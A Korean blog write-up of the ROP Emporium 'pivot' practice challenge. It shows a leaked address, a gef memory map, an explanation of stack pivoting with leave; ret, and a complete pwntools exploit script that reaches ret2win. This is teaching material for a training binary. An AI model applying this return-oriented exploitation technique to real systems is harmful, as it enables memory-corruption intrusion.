728x90
반응형
1. intro
2. code 및 분석
2.1. code
생략함.
2.2. 분석
공격 준비 쪽으로 바로 넘어가자.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow
3.2. 공격 준비
음 이게 인텐인지는 잘 모르겠다...
아무래도 언인텐인듯,
바이너리를 실행하면 아래와 같이 주소를 하나 던져준다.
pivot by ROP Emporium
x86_64
Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff79d6f10
Send a ROP chain now and it will land there
>
해당 주소를 다시 보면 libc 바로 위의 주소임을 알 수 있다.
gef➤ vm
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00000000400000 0x00000000401000 0x00000000000000 r-x /home/wyv3rn/rop/pivot
0x00000000600000 0x00000000601000 0x00000000000000 r-- /home/wyv3rn/rop/pivot
0x00000000601000 0x00000000602000 0x00000000001000 rw- /home/wyv3rn/rop/pivot
0x00000000602000 0x00000000623000 0x00000000000000 rw- [heap]
0x007ffff69d7000 0x007ffff79d8000 0x00000000000000 rw-
0x007ffff79d8000 0x007ffff7a00000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7a00000 0x007ffff7b95000 0x00000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7b95000 0x007ffff7bed000 0x000000001bd000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7bed000 0x007ffff7bf1000 0x00000000214000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7bf1000 0x007ffff7bf3000 0x00000000218000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7bf3000 0x007ffff7c00000 0x00000000000000 rw-
0x007ffff7c00000 0x007ffff7c01000 0x00000000000000 r-x /home/wyv3rn/rop/libpivot.so
0x007ffff7c01000 0x007ffff7e00000 0x00000000001000 --- /home/wyv3rn/rop/libpivot.so
0x007ffff7e00000 0x007ffff7e01000 0x00000000000000 r-- /home/wyv3rn/rop/libpivot.so
0x007ffff7e01000 0x007ffff7e02000 0x00000000001000 rw- /home/wyv3rn/rop/libpivot.so
0x007ffff7faf000 0x007ffff7fb2000 0x00000000000000 rw-
0x007ffff7fbb000 0x007ffff7fbd000 0x00000000000000 rw-
0x007ffff7fbd000 0x007ffff7fc1000 0x00000000000000 r-- [vvar]
0x007ffff7fc1000 0x007ffff7fc3000 0x00000000000000 r-x [vdso]
0x007ffff7fc3000 0x007ffff7fc5000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7fc5000 0x007ffff7fef000 0x00000000002000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7fef000 0x007ffff7ffa000 0x0000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ffb000 0x007ffff7ffd000 0x00000000037000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7fff000 0x00000000039000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
모든 주소가 붙어있기 때문에 결국 libc의 모든 주소, libpivot의 모든 주소를 offset으로 구할 수 있다.
더불어 바이너리에서 read로 받아들인 값은 출력해주는 주소에 저장되는데, 마찬가지로 offset을 통해 구할 수 있다.
그러므로 출력해주는 주소에 적절한 페이로드를 미리 작성해두고,
leave, ret을 통해 해당 위치로 stack pivotting 하여 해당 페이로드가 실행되도록 하면 된다.
4. exploit
from pwn import *
p = process('./pivot')
p.recvuntil(b': ')
leak = int(p.recvline()[:-1],16)
ret = 0x4009a7
r2w = leak + 0x1e2b71
print(hex(leak))
print(hex(r2w))
pay = p64(0x4009a7)
pay += p64(ret)
pay += p64(r2w)
p.sendafter(b'> ',pay)
leave = 0x4009a6
pay = b'A'*8*4
pay += p64(leak)
pay += p64(leave)
pay += p64(leak)
p.sendafter(b'> ',pay)
p.interactive()
728x90
반응형
'Wargame > ROP Emporium' 카테고리의 다른 글
ret2csu (0) | 2023.07.07 |
---|---|
fluff (0) | 2023.07.07 |
badchar (0) | 2023.07.07 |
write4 (0) | 2023.07.07 |
callme (0) | 2023.07.07 |